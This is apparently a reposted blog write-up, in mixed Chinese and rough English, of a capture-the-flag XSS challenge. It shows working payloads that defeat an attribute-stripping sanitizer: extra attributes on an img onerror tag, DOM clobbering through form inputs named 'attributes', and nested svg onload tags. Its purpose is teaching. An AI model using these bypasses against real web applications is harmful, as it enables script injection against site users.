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XSS - Bypass for loop filtering

2022-08-04 00:22:00 【H2223】 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
</body>
<script>
    
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;

     //这里模拟了XSS过滤的过程,方法是移除所有属性
     for (let el of root.querySelectorAll('*')) {
         for (let attr of el.attributes) {
             el.removeAttribute(attr.name);
         }
     }
     document.body.appendChild(root); 
</script>
</html>

code care：将#The following data is put indiv便签中,and filter all attributes in the tag

尝试输入#<img src=1 οnerrοr=javascript:alert(1)>

The output in the page is：<img οnerrοr="javascript:alert(1)">,显然forThe loop did not have the desired effect and was only removedsrc属性,onerror没有被删除,但没有src就无法执行javascript:alert(1)

a = [1, 2, 3, 4, 5, 6]
for i in a:
    if i == 2:
        a.remove(i)
    print(i)

1
2
4
5
6

以上Python代码的意思是：循环遍历a列表,并去掉2,正常应该输出1,3,4,5,6但是输出了2,反而3没了,这是因为for循环遍历到2时下标是1,遍历下标2的时候,因为2已经被删了,下标2对应的值是4,下标1对应的值是3,而下标1It has been traversed before2

Looking at this nowCTF题

Since he will not filter out all attributes,Just write a few more properties and try

#<img%20xxx=aaa%20src=1%20οnerrοr=javascript:alert(1)>

输出：<img src="1">                发现src被输出了

Try adding a few more properties

#<img xxx=aaa src=1 title=aaa οnerrοr=javascript:alert(1)>        这就成功了

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;
    // // 这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name);
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }

    document.body.appendChild(root);
    
</script>

</html>

Now add a little more difficulty,There will be no problem with the above code,Because now the data is put into an array first,再删除,Not operating on the same array.

The previous answer doesn't work anymore,No matter how many properties are written, they will be deleted

<div><img></div>

Now there are two ideas：
1,别进循环.

2,进循环,But useful data is not deleted

方法一

root.querySelectorAll可以获取div下的子元素

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form id="x" tabindex="1" onfocus="alert(1)">
        <input name="attributes">
        <input name="attributes">
    </form>
</body>
<script>
    console.log(window.x.attributes)    //RadioNodeList(2) [input, input, value: ""]
</script>
</html>

attributes可以获取标签

从以上例子,我们可以看到,attributes只获取了input标签,而formAttributes in sticky notes are not fetched

<form id="x" tabindex="1" οnfοcus="alert(1)">
        <input name="attributes">
        <input name="attributes">
    </form>

将其输入,The conjecture was later confirmed

<div><form id="x" tabindex="1" onfocus="alert(1)"> <input> <input> </form></div>

只过滤了input标签

#<form%20tabindex=1%20οnfοcus="alert(1)"%20autofocus="true"%20>%20<input%20name="attributes">%20<input%20name="attributes">%20</form>

然后一直按tab,就可以弹窗了

方法二

别进循环,也就是说在innerHTMLexecute the command

重要知识点：js代码会阻塞dom树的构建,先运行js代码,再构建dom树

void SVGSVGElement::FinishParsingChildren() {
  SVGGraphicsElement::FinishParsingChildren();

  // The outermost SVGSVGElement SVGLoad event is fired through
  // LocalDOMWindow::dispatchWindowLoadEvent.
  if (IsOutermostSVGSVGElement())
    return;

  // finishParsingChildren() is called when the close tag is reached for an
  // element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
  // they'll be sent when any required loads finish
  SendSVGLoadEventIfPossible();
}

这是HTML部分源码,其中if (IsOutermostSVGSVGElement()),Just decide if there is only onesvg标签,如果是就返回,如果不是就运行SendSVGLoadEventIfPossible()

bool SVGElement::SendSVGLoadEventIfPossible() {
  if (!HaveLoadedRequiredResources())
    return false;
  if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
      HasLoadListener(this))
    DispatchEvent(*Event::Create(event_type_names::kLoad));
  return true;
}

code care：只要是svg标签,并且有onloadThe event can go to the second oneif里面,运行DispatchEvent(*Event::Create(event_type_names::kLoad));

就可以加载onload事件

总结：要两个svg标签,有onload事件

#<svg><svg/οnlοad=alert(1)>        这样就成功了

原网站

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本文为[H2223]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/216/202208040012188897.html

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